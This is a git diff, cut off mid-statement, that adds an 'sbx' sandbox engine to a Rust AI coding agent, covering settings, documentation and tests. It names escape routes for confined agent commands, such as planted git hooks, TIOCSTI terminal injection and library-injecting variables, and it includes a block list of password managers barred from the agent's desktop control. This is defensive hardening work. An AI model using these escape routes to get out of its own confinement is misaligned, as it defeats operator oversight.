diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4c412de..48070b3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -58,6 +58,9 @@ jobs: - run: cargo clippy --all-targets - run: cargo test --lib - run: cargo test --bins + # incode's commands under `sandbox_engine = "sbx"`, for real (Linux; + # it says it skipped elsewhere). + - run: cargo test --test sbx_engine # The standalone sandbox (`sbx`). Its escape tests run on Linux and # macOS, and skip, saying so, where the OS cannot enforce what they check. - run: cargo clippy -p incord-sandbox --all-targets -- -D warnings diff --git a/Cargo.lock b/Cargo.lock index aac1c13..cc4e9b4 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2005,6 +2005,7 @@ dependencies = [ "hyper-util", "ignore", "image", + "incord-sandbox", "jsonschema", "landlock", "libc", diff --git a/Cargo.toml b/Cargo.toml index ab114fc..5a353ac 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -43,6 +43,12 @@ rust-version = "1.88" name = "incode" path = "src/main.rs" +# Runs the sbx engine for real: its binary is sbx's helper, so it has its own +# `main` (see the file). +[[test]] +name = "sbx_engine" +harness = false + [dependencies] serde = { version = "1", features = ["derive"] } serde_json = "1" @@ -77,6 +83,11 @@ base64 = "0.22" # NOTE: it turns on serde_json's `preserve_order` for the whole crate (feature # unification), so a `serde_json::Map` keeps insertion order instead of sorting. agent-client-protocol-schema = { version = "=1.9.1", default-features = false } +# The standalone sandbox in this workspace (`crates/sandbox`), as the `sbx` +# engine for shell commands: `sandbox_engine: "sbx"`. A path dependency, so +# no new package; it adds the seccomp filter, the host-allowlist proxy and the +# `.git` protection the built-in engine lacks. +incord-sandbox = { path = "crates/sandbox" } # CLI-specific rustyline = { version = "15", features = ["derive"] } diff --git a/README.md b/README.md index 6bfad2c..061f7e4 100644 --- a/README.md +++ b/README.md @@ -923,6 +923,30 @@ confined only when named; the operator's own `/bg` jobs at the REPL are never sandboxed. Where a mode cannot be applied, the command runs unconfined and the trace says which. +**The engine**: `admin.json` `sandbox_engine` or `INCODE_SANDBOX_ENGINE`, +`builtin` (the default: everything above) or `sbx`, which confines the same +commands with [`sbx`](#sbx-the-same-sandbox-for-any-agent) instead, with the +same mode and network switch, and adds: + +- `sandbox_allow_hosts` (or `INCODE_SANDBOX_ALLOW_HOSTS`, comma-separated): the + only hosts a command may reach, through a proxy sbx runs for it; +- on Linux, a seccomp filter against terminal injection, `io_uring` and vsock; +- `.git/hooks` and `.git/config` in each writable root put back as they were + when a command ends, so a planted hook never runs; +- the variables that redirect git, attach to the agent session or inject a + library stripped; a private temp directory per command. + +```json +{ "sandbox_engine": "sbx", "sandbox_allow_hosts": ["crates.io", "static.crates.io", "github.com"] } +``` + +Linux and macOS run it inside incode. Windows runs `sbx.exe` (installed beside +`incode.exe`), natively or inside WSL2 as `sandbox_backend` (or +`INCODE_SANDBOX_BACKEND`) says: `native`, `wsl` or `auto`; under `wsl` the +command runs in WSL's `sh`. What a machine cannot enforce is named in the +trace and `/doctor`; a run sbx cannot start at all is refused, not run +unconfined. + ### `sbx`: the same sandbox for any agent `crates/sandbox` builds `sbx`, a standalone sandbox that doesn't depend on @@ -1138,6 +1162,7 @@ and `--admin` prints which layer decided each value. | `browser_bin` · `pdf_renderer` | For development, a headless browser executable that wins over the installed one · which program `RenderPdf` uses | | `sandbox` | `off` · `workspace-write` · `read-only`; unset follows the permission mode | | `sandbox_network` | `allow` (default) · `deny` — see [the OS sandbox](#the-os-sandbox) | +| `sandbox_engine` · `sandbox_allow_hosts` · `sandbox_backend` | `builtin` (default) · `sbx`; under sbx, the hosts a command may reach and, on Windows, `native` · `wsl` · `auto` — see [the OS sandbox](#the-os-sandbox) | | `hooks` (also `desktop_hooks`) | Your `pre_tool_use` / `post_tool_use` commands, run for every tool. The event is JSON on stdin; exit 2 on a pre-tool command denies; bounded at 10 s | | `desktop_limits` | The desktop's limits, each optional: `max_actions_per_minute` (120), `heartbeat_deadline_secs` (30), `tree_depth` (12), `tree_max_elements` (400), `journal_max_bytes` (262144), `xvfb_start_timeout_secs` (10), `clipboard_timeout_secs` (5), `accessibility_call_timeout_ms` (1000), `paste_restore_delay_ms` (500, how long the pasted text stays on the clipboard before the old one is put back), `settle_ms` (300, the pause before a `screenshot_after`), `max_scroll_steps` (50, wheel steps in one `scroll`), `tree_max_visited` (4000, elements one tree walk may visit), and `blocked_apps` (application names, matched case-insensitively as a part of the name, added to the built-in password managers: 1Password, Bitwarden, LastPass, Dashlane, KeePass, NordPass, Proton Pass, Enpass, RoboForm, Keeper). The first two are safety limits and may only be lowered; zero and unknown keys are refused, and the desktop does not start on a malformed admin.json | | `desktop_display` | Linux computer use: `":N"` drives a running X display; `"xvfb"` or `"xvfb:1280x800"` starts a private Xvfb for the desktop server's lifetime (default 1920x1080). Unset refuses rather than using `$DISPLAY`. `paste_text` needs `xclip` or `xsel`; `ui_tree` needs a D-Bus session with at-spi2-core | diff --git a/crates/sandbox/src/lib.rs b/crates/sandbox/src/lib.rs index e5110f4..bb27c2c 100644 --- a/crates/sandbox/src/lib.rs +++ b/crates/sandbox/src/lib.rs @@ -402,6 +402,9 @@ pub struct Sandbox { policy: Policy, helper: Option, strict: bool, + /// The environment the policy's `[env]` rules start from. Default: this + /// process's own. + base_env: Option>, } /// Everything a running command needs kept alive: the proxy and the private @@ -487,9 +490,20 @@ impl Sandbox { policy, helper: None, strict: true, + base_env: None, } } + /// Start the command's environment from `vars` instead of this process's + /// own, for a caller that filters it first. The policy's `[env]` rules + /// still apply on top, and the run's own variables (the temp directory, + /// the proxy) are still added. + #[must_use] + pub fn inherit_from(mut self, vars: Vec<(OsString, OsString)>) -> Self { + self.base_env = Some(vars); + self + } + /// The binary re-executed as the helper. Default: the current executable, /// which must then call [`enter_if_requested`]. #[must_use] @@ -604,7 +618,11 @@ impl Sandbox { if let Some(p) = &proxy { extra.extend(p.client_env()); } - let mut environment = env::compute(&self.policy.env, std::env::vars_os(), &extra); + let inherited = match &self.base_env { + Some(vars) => vars.clone(), + None => std::env::vars_os().collect(), + }; + let mut environment = env::compute(&self.policy.env, inherited, &extra); if block_interop { environment.retain(|(k, _)| k != "WSL_INTEROP"); } diff --git a/src/admin.rs b/src/admin.rs index 7069e9d..8481d11 100644 --- a/src/admin.rs +++ b/src/admin.rs @@ -190,6 +190,20 @@ pub struct AdminConfig { /// reports. `INCODE_SANDBOX_NETWORK` wins over it. #[serde(default, skip_serializing_if = "Option::is_none")] pub sandbox_network: Option, + /// What confines the commands: `builtin` (the default) or `sbx`, the + /// standalone sandbox — see [`crate::sandbox::sbx`]. + /// `INCODE_SANDBOX_ENGINE` wins over it. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub sandbox_engine: Option, + /// Under the sbx engine: the only hosts a command may reach, when the + /// network is not denied. Empty leaves it open. + /// `INCODE_SANDBOX_ALLOW_HOSTS` (comma-separated) wins over it. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub sandbox_allow_hosts: Vec, + /// Under the sbx engine on Windows: `native`, `wsl` or `auto` (the + /// default). `INCODE_SANDBOX_BACKEND` wins over it. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub sandbox_backend: Option, /// The shell the `Bash` tool runs commands in on Windows, as a path or a /// program on `PATH` — see `tools::shell_choice`. `INCODE_SHELL` wins over /// it. Unset, Git for Windows' bash is used, then PowerShell; never @@ -956,6 +970,25 @@ impl AdminConfig { mode: mode.value, network: self.resolve_sandbox_network().value, named: mode.source != Source::BuiltIn, + engine: self.resolve_sandbox_engine().value, + } + } + + /// What confines the commands, and where that was decided: the + /// environment, then the settings, then `builtin`. + #[must_use] + pub fn resolve_sandbox_engine(&self) -> Resolved { + let named = |raw: &str| crate::sandbox::SandboxEngine::parse(raw.trim()); + if let Some(engine) = std::env::var(crate::sandbox::SANDBOX_ENGINE_ENV) + .ok() + .as_deref() + .and_then(named) + { + return Resolved::new(engine, Source::Environment); + } + match self.sandbox_engine.as_deref().and_then(named) { + Some(engine) => Resolved::new(engine, Source::AdminFile), + None => Resolved::new(crate::sandbox::SandboxEngine::Builtin, Source::BuiltIn), } } @@ -1117,6 +1150,7 @@ mod tests { std::env::remove_var(DATA_DIR_ENV); std::env::remove_var(crate::sandbox::SANDBOX_ENV); std::env::remove_var(crate::sandbox::SANDBOX_NETWORK_ENV); + std::env::remove_var(crate::sandbox::SANDBOX_ENGINE_ENV); std::env::remove_var(AGENT_ENV); std::env::remove_var(crate::config::MODEL_ENV); std::env::remove_var(crate::budget::BUDGET_ENV); @@ -1473,6 +1507,9 @@ mod tests { pdf_renderer: Some(PdfRenderer::Browser), sandbox: Some("read-only".to_string()), sandbox_network: Some("deny".to_string()), + sandbox_engine: Some("sbx".to_string()), + sandbox_allow_hosts: vec!["crates.io".to_string()], + sandbox_backend: Some("wsl".to_string()), // The Bash tool's shell, which the owner may pin on Windows. shell: Some("C:/Program Files/Git/bin/bash.exe".to_string()), // The ladder has to survive the file too — a tier an operator @@ -1574,6 +1611,43 @@ mod tests { clear_env(); } + /// The engine: `builtin` unless named, the settings name it, the + /// environment wins, and a word nobody uses is the built-in default. + #[test] + fn the_sandbox_engine_resolves_like_the_other_settings() { + use crate::permissions::PermissionMode as P; + use crate::sandbox::{SandboxEngine, SANDBOX_ENGINE_ENV}; + let _guard = lock(); + clear_env(); + let unset = AdminConfig::default(); + assert_eq!( + unset.sandbox_policy(P::WorkspaceWrite).engine, + SandboxEngine::Builtin + ); + + let admin = AdminConfig { + sandbox_engine: Some("sbx".to_string()), + ..Default::default() + }; + assert_eq!( + admin.sandbox_policy(P::WorkspaceWrite).engine, + SandboxEngine::Sbx + ); + assert_eq!(admin.resolve_sandbox_engine().source, Source::AdminFile); + + let typo = AdminConfig { + sandbox_engine: Some("bubblewrap".to_string()), + ..Default::default() + }; + assert_eq!(typo.resolve_sandbox_engine().value, SandboxEngine::Builtin); + assert_eq!(typo.resolve_sandbox_engine().source, Source::BuiltIn); + + std::env::set_var(SANDBOX_ENGINE_ENV, "builtin"); + assert_eq!(admin.resolve_sandbox_engine().value, SandboxEngine::Builtin); + assert_eq!(admin.resolve_sandbox_engine().source, Source::Environment); + clear_env(); + } + /// **"NONE" IS NOT AN ANSWER AN OPERATOR CAN ACT ON.** /// /// Two workspaces get no check for opposite reasons: one names no diff --git a/src/main.rs b/src/main.rs index f8a4864..2c96337 100644 --- a/src/main.rs +++ b/src/main.rs @@ -82,6 +82,10 @@ OPTIONS: "; fn main() -> anyhow::Result<()> { + // The sbx engine's helper (`incode __sbx-enter ...`): confine this + // process and exec the command, before any thread starts. Returns at once + // for every other invocation. + incord_sandbox::enter_if_requested(); // BEFORE ANYTHING ELSE, and before any thread starts: this mode applies the // OS sandbox to THIS process and then execs the command, and an early // Landlock ruleset binds only the thread that set it. On success it never diff --git a/src/sandbox/linux.rs b/src/sandbox/linux.rs index 6cb1398..ea22401 100644 --- a/src/sandbox/linux.rs +++ b/src/sandbox/linux.rs @@ -173,6 +173,7 @@ mod tests { mode: SandboxMode::WorkspaceWrite, network: SandboxNetwork::Allow, named: false, + engine: crate::sandbox::SandboxEngine::Builtin, }, &[PathBuf::from("/ws")], "echo hi", diff --git a/src/sandbox/mod.rs b/src/sandbox/mod.rs index 1fb0d4e..c985e11 100644 --- a/src/sandbox/mod.rs +++ b/src/sandbox/mod.rs @@ -71,6 +71,7 @@ use crate::tools::shell_choice::Shell; mod linux; #[cfg(target_os = "macos")] mod macos; +pub mod sbx; #[cfg(windows)] pub mod windows; @@ -82,6 +83,43 @@ pub const SANDBOX_ENV: &str = "INCODE_SANDBOX"; /// `sandbox_network`. pub const SANDBOX_NETWORK_ENV: &str = "INCODE_SANDBOX_NETWORK"; +/// Names the engine (`builtin` or `sbx`), ahead of `admin.json` +/// `sandbox_engine`. +pub const SANDBOX_ENGINE_ENV: &str = "INCODE_SANDBOX_ENGINE"; + +/// What confines the commands: incode's own code in this module, or the +/// standalone sandbox ([`sbx`]), which adds a host allowlist, a seccomp +/// filter, `.git` protection and a scrubbed environment. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum SandboxEngine { + /// This module's Landlock, Seatbelt and Windows token — the default. + #[default] + Builtin, + /// `crates/sandbox`, in-process on Linux and macOS, `sbx.exe` on Windows. + Sbx, +} + +impl SandboxEngine { + /// The word the setting and the trace use. + #[must_use] + pub fn as_str(self) -> &'static str { + match self { + Self::Builtin => "builtin", + Self::Sbx => "sbx", + } + } + + /// The engine named, or `None` for a word nobody uses. + #[must_use] + pub fn parse(name: &str) -> Option { + match name { + "builtin" => Some(Self::Builtin), + "sbx" => Some(Self::Sbx), + _ => None, + } + } +} + /// Whether a sandboxed command may use the network. #[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] pub enum SandboxNetwork { @@ -126,6 +164,8 @@ pub struct SandboxPolicy { /// only when named: it changes the roots' ACL for the session, which is a /// cost the operator has to have asked for. pub named: bool, + /// What confines the commands. + pub engine: SandboxEngine, } impl SandboxPolicy { @@ -134,6 +174,7 @@ impl SandboxPolicy { mode: SandboxMode::Off, network: SandboxNetwork::Allow, named: false, + engine: SandboxEngine::Builtin, }; } @@ -199,6 +240,15 @@ pub struct Sandbox { grant: Option, } +/// A command [`Sandbox::wrap`] made, and what must outlive it. +pub(crate) struct Wrapped { + /// Set the working directory and the pipes, then spawn it. + pub command: Command, + /// Kept until the command exits: the sbx engine's proxy, temp directory + /// and `.git` snapshot (nothing under the built-in engine). + pub keep: sbx::Keep, +} + /// What a session's sandbox holds for as long as the session lasts. Only /// Windows workspace-write holds anything — the ACE granted on each root to the /// session's private SID ([`windows::acl`]) — and dropping this revokes it. Owned @@ -253,7 +303,7 @@ impl Sandbox { #[cfg(windows)] { let mut this = self; - if windows::needs_grant(this.policy) { + if this.policy.engine == SandboxEngine::Builtin && windows::needs_grant(this.policy) { this.grant = Some(session.hold(&this.roots)?); } Ok(this) @@ -268,17 +318,42 @@ impl Sandbox { /// The command to spawn for one shell `command`, confined to this /// sandbox where the platform can, and left unconfined where it cannot — /// [`Self::note`] says which. The caller still sets the working - /// directory, the environment and the pipes. + /// directory and the pipes, and keeps [`Wrapped::keep`] alive until the + /// command exits. /// /// `shell` is the Bash tool's shell ([`crate::tools::shell_choice`]) — - /// used unchanged when the sandbox is off or cannot apply. - #[must_use] - pub(crate) fn wrap(&self, shell: &Shell, command: &str) -> Command { - if self.is_off() { - return plain(shell, command); + /// used unchanged when the sandbox is off or cannot apply. `env`, when + /// given, is the whole environment the command starts with (incode's + /// filtered one); the sbx engine adds its own variables to it. + /// + /// # Errors + /// + /// Only under the sbx engine, when sbx cannot start the run. The command + /// must then NOT run: running it unconfined is what the operator chose + /// sbx to prevent. + pub(crate) fn wrap( + &self, + shell: &Shell, + command: &str, + env: Option<&std::collections::HashMap>, + ) -> Result { + if !self.is_off() && self.policy.engine == SandboxEngine::Sbx { + let (command, keep) = sbx::wrap(self.policy, &self.roots, shell, command, env)?; + return Ok(Wrapped { command, keep }); + } + let mut command = if self.is_off() { + plain(shell, command) + } else { + self.wrap_confined(shell, command) + .unwrap_or_else(|| plain(shell, command)) + }; + if let Some(env) = env { + command.env_clear().envs(env); } - self.wrap_confined(shell, command) - .unwrap_or_else(|| plain(shell, command)) + Ok(Wrapped { + command, + keep: sbx::Keep::default(), + }) } /// One line for the trace and for `/doctor`: what the sandbox is doing to @@ -286,6 +361,9 @@ impl Sandbox { /// then the network when `deny` was asked for. #[must_use] pub fn note(&self) -> String { + if !self.is_off() && self.policy.engine == SandboxEngine::Sbx { + return sbx::note(self.policy, &self.roots); + } let mode = self.policy.mode; let files = if mode == SandboxMode::Off { "sandbox off: shell commands run unconfined".to_string() @@ -321,6 +399,11 @@ impl Sandbox { pub fn posix_shell_runs(&self) -> bool { #[cfg(windows)] { + if self.policy.engine == SandboxEngine::Sbx { + // sbx.exe's native backend restricts the token the same way; + // under WSL the command runs in WSL's own `sh`. + return self.is_off() || sbx::settings().backend.as_deref() == Some("wsl"); + } !windows::applies(self.policy, windows::needs_grant(self.policy)) } #[cfg(not(windows))] @@ -727,7 +810,10 @@ mod tests { PathBuf::from("sh"), crate::tools::shell_choice::Flavor::Posix, ); - let cmd = sandbox.wrap(&shell, "echo hi"); + let cmd = sandbox + .wrap(&shell, "echo hi", None) + .expect("wrapped") + .command; assert!(sandbox.note().contains("off")); // The program is the shell itself, not a wrapper. assert_eq!(cmd.get_program().to_string_lossy(), "sh"); @@ -752,6 +838,7 @@ mod tests { mode, network, named: true, + engine: crate::sandbox::SandboxEngine::Builtin, } } diff --git a/src/sandbox/sbx.rs b/src/sandbox/sbx.rs new file mode 100644 index 0000000..29d1ea8 --- /dev/null +++ b/src/sandbox/sbx.rs @@ -0,0 +1,452 @@ +//! The `sbx` engine: the session's shell commands confined by the standalone +//! sandbox in `crates/sandbox`, chosen with `admin.json` `sandbox_engine: +//! "sbx"` or [`super::SANDBOX_ENGINE_ENV`]. +//! +//! # What it adds over the built-in engine +//! +//! - **A host allowlist.** `sandbox_allow_hosts` (or +//! [`ALLOW_HOSTS_ENV`]) lets a command reach only those hosts, through a +//! proxy sbx runs for the command; the built-in engine can only allow or +//! deny the network whole. +//! - **A seccomp filter on Linux** that refuses terminal injection +//! (`TIOCSTI`), `io_uring` and vsock, whatever the filesystem mode. +//! - **`.git/hooks` and `.git/config` kept as they were** in every writable +//! root: a hook the command plants would otherwise run, unconfined, the next +//! time anyone uses git there. A change is undone when the command ends and +//! traced. +//! - **The environment scrubbed** of the variables that attach a process to +//! the agent session, point git at another repository, or make every +//! program load a chosen library — on top of incode's own env filter. +//! - **A private temp directory per command**, removed when it ends. +//! +//! # How, per OS +//! +//! - **Linux, macOS** — the library, in this process. The helper sbx +//! re-executes is incode itself, which hands the `__sbx-enter` argument to +//! [`incord_sandbox::enter_if_requested`] before anything else in `main`. +//! - **Windows** — `sbx.exe`, beside `incode.exe` or on `PATH`, which runs the +//! command natively (restricted token, ACL grant, job object) or inside WSL2 +//! (Landlock and seccomp), as `sandbox_backend` (or [`BACKEND_ENV`]) says: +//! `native`, `wsl` or `auto`. Under `wsl` the command runs in WSL's `sh`. +//! +//! Best effort, never silent: what this machine cannot enforce of the policy +//! is named by [`note`], and the command still runs with the rest. A run sbx +//! cannot start at all (a missing root, a proxy that will not bind) is +//! refused rather than run unconfined. + +use std::collections::HashMap; +use std::path::PathBuf; +use std::process::Command; +use std::sync::OnceLock; + +use crate::tools::shell_choice::Shell; + +use super::{SandboxMode, SandboxNetwork, SandboxPolicy}; + +/// Hosts a command may reach (comma-separated), ahead of `admin.json` +/// `sandbox_allow_hosts`. +pub const ALLOW_HOSTS_ENV: &str = "INCODE_SANDBOX_ALLOW_HOSTS"; + +/// Windows only: `native`, `wsl` or `auto`, ahead of `admin.json` +/// `sandbox_backend`. Handed to `sbx.exe` as `SBX_BACKEND`. +pub const BACKEND_ENV: &str = "INCODE_SANDBOX_BACKEND"; + +/// What the sbx engine reads beyond the mode and the network switch, once +/// per process. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct Settings { + /// Hosts a command may reach; empty leaves the network as the switch says. + pub allow_hosts: Vec, + /// Windows: where `sbx.exe` runs the command. `None` is sbx's own `auto`. + pub backend: Option, +} + +impl Settings { + /// From the environment first, then `admin.json`. + fn load() -> Self { + let admin = crate::admin::AdminConfig::load_default(); + let allow_hosts = match std::env::var(ALLOW_HOSTS_ENV) { + Ok(raw) if !raw.trim().is_empty() => hosts(&raw), + _ => admin.sandbox_allow_hosts.clone(), + }; + let backend = std::env::var(BACKEND_ENV) + .ok() + .or(admin.sandbox_backend) + .map(|b| b.trim().to_string()) + .filter(|b| !b.is_empty()); + Self { + allow_hosts, + backend, + } + } +} + +/// The settings in force for this process. +pub fn settings() -> &'static Settings { + static SETTINGS: OnceLock = OnceLock::new(); + SETTINGS.get_or_init(Settings::load) +} + +/// A comma-separated host list, trimmed, empties dropped. +fn hosts(raw: &str) -> Vec { + raw.split(',') + .map(str::trim) + .filter(|h| !h.is_empty()) + .map(str::to_string) + .collect() +} + +/// The sbx policy for incode's: the same filesystem mode over the same +/// roots, and the network denied, limited to `allow_hosts`, or open. +#[must_use] +pub fn policy( + policy: SandboxPolicy, + roots: &[PathBuf], + allow_hosts: &[String], +) -> incord_sandbox::Policy { + use incord_sandbox::{FsMode, NetMode}; + let mut out = incord_sandbox::Policy::default(); + out.fs.mode = match policy.mode { + SandboxMode::Off => FsMode::Off, + SandboxMode::ReadOnly => FsMode::ReadOnly, + SandboxMode::WorkspaceWrite => FsMode::WorkspaceWrite, + }; + if policy.mode == SandboxMode::WorkspaceWrite { + out.fs.write = roots.to_vec(); + } + out.network.mode = match policy.network { + SandboxNetwork::Deny => NetMode::Deny, + SandboxNetwork::Allow if !allow_hosts.is_empty() => NetMode::Proxy, + SandboxNetwork::Allow => NetMode::Allow, + }; + if out.network.mode == NetMode::Proxy { + out.network.allow = allow_hosts.to_vec(); + } + out +} + +/// One line for the trace and `/doctor`: what sbx confines here, and what it +/// cannot. +#[must_use] +pub fn note(policy: SandboxPolicy, roots: &[PathBuf]) -> String { + let hosts = &settings().allow_hosts; + let network = match policy.network { + SandboxNetwork::Deny => "network denied".to_string(), + SandboxNetwork::Allow if !hosts.is_empty() => { + format!("network limited to {}", hosts.join(", ")) + } + SandboxNetwork::Allow => "network open".to_string(), + }; + let head = format!("sandbox {} by sbx; {network}", policy.mode.as_str()); + #[cfg(windows)] + { + let _ = roots; + let backend = settings().backend.as_deref().unwrap_or("auto"); + format!("{head}; through sbx.exe ({backend} backend), which reports its own gaps") + } + #[cfg(not(windows))] + { + let gaps = incord_sandbox::enforcement(&self::policy(policy, roots, hosts)).gaps(); + if gaps.is_empty() { + head + } else { + format!("{head}; NOT enforced here: {}", gaps.join("; ")) + } + } +} + +/// What a confined command needs kept alive until it exits: sbx's proxy, its +/// temp directory and the `.git` snapshot. Dropping it undoes any change to +/// `.git/hooks` or `.git/config`, and traces what was undone. +#[derive(Default)] +pub struct Keep { + #[cfg(not(windows))] + guard: Option, +} + +impl std::fmt::Debug for Keep { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str("Keep") + } +} + +impl Drop for Keep { + fn drop(&mut self) { + #[cfg(not(windows))] + if let Some(guard) = self.guard.take() { + let restored = guard.restore_protected(); + if !restored.is_empty() { + crate::trace!( + "sandbox", + "sbx undid the command's change to {}", + restored.join(", ") + ); + } + } + } +} + +/// The confined command for one shell `command`, and what to keep alive +/// until it exits. `env`, when given, is the environment to start from +/// (incode's filtered one); otherwise this process's. +/// +/// # Errors +/// +/// When sbx cannot start the run: a writable root is missing, the proxy will +/// not bind, or (Windows) `sbx.exe` cannot be found. +#[cfg(not(windows))] +pub(super) fn wrap( + sandbox_policy: SandboxPolicy, + roots: &[PathBuf], + shell: &Shell, + command: &str, + env: Option<&HashMap>, +) -> Result<(Command, Keep), String> { + use std::ffi::OsString; + let policy = policy(sandbox_policy, roots, &settings().allow_hosts); + let mut sandbox = incord_sandbox::Sandbox::new(policy).strict(false); + if let Some(env) = env { + sandbox = sandbox.inherit_from( + env.iter() + .map(|(k, v)| (OsString::from(k), OsString::from(v))) + .collect(), + ); + } + let cwd = match roots.first() { + Some(root) => root.clone(), + None => std::env::current_dir().map_err(|e| format!("sbx: no working directory: {e}"))?, + }; + let args = [OsString::from("-c"), OsString::from(command)]; + let (cmd, guard) = sandbox + .command(shell.program(), &args, &cwd) + .map_err(|e| format!("sbx: {e}"))?; + Ok((cmd, Keep { guard: Some(guard) })) +} + +/// Windows: the command run by `sbx.exe`, natively or in WSL2 — see the +/// module documentation. +#[cfg(windows)] +pub(super) fn wrap( + sandbox_policy: SandboxPolicy, + roots: &[PathBuf], + shell: &Shell, + command: &str, + env: Option<&HashMap>, +) -> Result<(Command, Keep), String> { + let settings = settings(); + let exe = sbx_exe().ok_or( + "sbx: sandbox_engine is \"sbx\" but sbx.exe is neither beside incode.exe nor on PATH \ + (scripts/install.ps1 installs both)", + )?; + let mut cmd = Command::new(exe); + cmd.args(sbx_args( + sandbox_policy, + roots, + &settings.allow_hosts, + settings.backend.as_deref() == Some("wsl"), + shell, + command, + )); + if let Some(env) = env { + cmd.env_clear().envs(env); + } + if let Some(backend) = &settings.backend { + cmd.env("SBX_BACKEND", backend); + } + Ok((cmd, Keep::default())) +} + +/// `sbx run` arguments for one command: the policy as flags, then the +/// command — WSL's `sh` under the `wsl` backend, the session's shell +/// otherwise. +#[cfg_attr(not(windows), allow(dead_code))] +fn sbx_args( + policy: SandboxPolicy, + roots: &[PathBuf], + allow_hosts: &[String], + in_wsl: bool, + shell: &Shell, + command: &str, +) -> Vec { + let mut args = vec![ + "run".to_string(), + "--best-effort".to_string(), + "--quiet".to_string(), + "--fs".to_string(), + policy.mode.as_str().to_string(), + ]; + if policy.mode == SandboxMode::WorkspaceWrite { + for root in roots { + args.push("--write".to_string()); + args.push(root.to_string_lossy().into_owned()); + } + } + match policy.network { + SandboxNetwork::Deny => args.extend(["--net".to_string(), "deny".to_string()]), + SandboxNetwork::Allow => { + for host in allow_hosts { + args.push("--allow-host".to_string()); + args.push(host.clone()); + } + } + } + args.push("--".to_string()); + if in_wsl { + args.extend(["sh".to_string(), "-c".to_string(), command.to_string()]); + } else { + args.push(shell.program().to_string_lossy().into_owned()); + args.extend(shell.args(command)); + } + args +} + +/// `sbx.exe` beside this program, else the first on `PATH`. +#[cfg(windows)] +fn sbx_exe() -> Option { + let beside = std::env::current_exe() + .ok() + .and_then(|exe| exe.parent().map(|dir| dir.join("sbx.exe"))) + .filter(|p| p.is_file()); + beside.or_else(|| { + std::env::var_os("PATH").and_then(|path| { + std::env::split_paths(&path) + .map(|dir| dir.join("sbx.exe")) + .find(|p| p.is_file()) + }) + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::sandbox::SandboxEngine; + + fn incode(mode: SandboxMode, network: SandboxNetwork) -> SandboxPolicy { + SandboxPolicy { + mode, + network, + named: true, + engine: SandboxEngine::Sbx, + } + } + + /// The mode and the roots carry over; read-only gets no writable root. + #[test] + fn the_filesystem_mode_and_roots_carry_over() { + use incord_sandbox::FsMode; + let roots = vec![PathBuf::from("/w"), PathBuf::from("/extra")]; + let p = policy( + incode(SandboxMode::WorkspaceWrite, SandboxNetwork::Allow), + &roots, + &[], + ); + assert_eq!(p.fs.mode, FsMode::WorkspaceWrite); + assert_eq!(p.fs.write, roots); + assert!(p.fs.protect_git, "git protection stays on"); + let p = policy( + incode(SandboxMode::ReadOnly, SandboxNetwork::Allow), + &roots, + &[], + ); + assert_eq!(p.fs.mode, FsMode::ReadOnly); + assert!(p.fs.write.is_empty()); + let p = policy(incode(SandboxMode::Off, SandboxNetwork::Allow), &roots, &[]); + assert_eq!(p.fs.mode, FsMode::Off); + } + + /// Deny wins over an allowlist; an allowlist turns an open network into + /// the proxy; no allowlist leaves it open. + #[test] + fn the_network_follows_the_switch_and_the_allowlist() { + use incord_sandbox::NetMode; + let hosts = vec!["crates.io".to_string()]; + let roots = [PathBuf::from("/w")]; + let p = policy( + incode(SandboxMode::WorkspaceWrite, SandboxNetwork::Deny), + &roots, + &hosts, + ); + assert_eq!(p.network.mode, NetMode::Deny); + let p = policy( + incode(SandboxMode::WorkspaceWrite, SandboxNetwork::Allow), + &roots, + &hosts, + ); + assert_eq!(p.network.mode, NetMode::Proxy); + assert_eq!(p.network.allow, hosts); + let p = policy( + incode(SandboxMode::WorkspaceWrite, SandboxNetwork::Allow), + &roots, + &[], + ); + assert_eq!(p.network.mode, NetMode::Allow); + } + + #[test] + fn a_host_list_is_split_on_commas() { + assert_eq!( + hosts(" crates.io, ,github.com ,"), + vec!["crates.io".to_string(), "github.com".to_string()] + ); + } + + /// What `sbx.exe run` is handed on Windows: the policy as flags, then the + /// shell — or WSL's `sh` under the wsl backend. + #[test] + fn sbx_exe_gets_the_policy_as_flags() { + let shell = Shell::from_parts( + PathBuf::from("bash"), + crate::tools::shell_choice::Flavor::Posix, + ); + let args = sbx_args( + incode(SandboxMode::WorkspaceWrite, SandboxNetwork::Allow), + &[PathBuf::from("/w")], + &["crates.io".to_string()], + false, + &shell, + "echo hi", + ); + assert_eq!( + args, + [ + "run", + "--best-effort", + "--quiet", + "--fs", + "workspace-write", + "--write", + "/w", + "--allow-host", + "crates.io", + "--", + "bash", + "-c", + "echo hi" + ] + ); + let args = sbx_args( + incode(SandboxMode::ReadOnly, SandboxNetwork::Deny), + &[PathBuf::from("/w")], + &["crates.io".to_string()], + true, + &shell, + "ls", + ); + assert_eq!( + args, + [ + "run", + "--best-effort", + "--quiet", + "--fs", + "read-only", + "--net", + "deny", + "--", + "sh", + "-c", + "ls" + ] + ); + } +} diff --git a/src/sandbox/windows.rs b/src/sandbox/windows.rs index dded4de..85a1f66 100644 --- a/src/sandbox/windows.rs +++ b/src/sandbox/windows.rs @@ -519,6 +519,7 @@ mod tests { mode, network: SandboxNetwork::Allow, named, + engine: crate::sandbox::SandboxEngine::Builtin, } } diff --git a/src/sandbox/windows/acl.rs b/src/sandbox/windows/acl.rs index 53c3ad2..eda3c26 100644 --- a/src/sandbox/windows/acl.rs +++ b/src/sandbox/windows/acl.rs @@ -715,6 +715,7 @@ mod tests { mode, network: crate::sandbox::SandboxNetwork::Allow, named: true, + engine: crate::sandbox::SandboxEngine::Builtin, }; let shell = crate::tools::shell_choice::for_sandbox(&crate::sandbox::Sandbox::new( policy, @@ -760,6 +761,7 @@ mod tests { mode: crate::sandbox::SandboxMode::WorkspaceWrite, network: crate::sandbox::SandboxNetwork::Allow, named: true, + engine: crate::sandbox::SandboxEngine::Builtin, }; let began = Instant::now(); let sandbox = 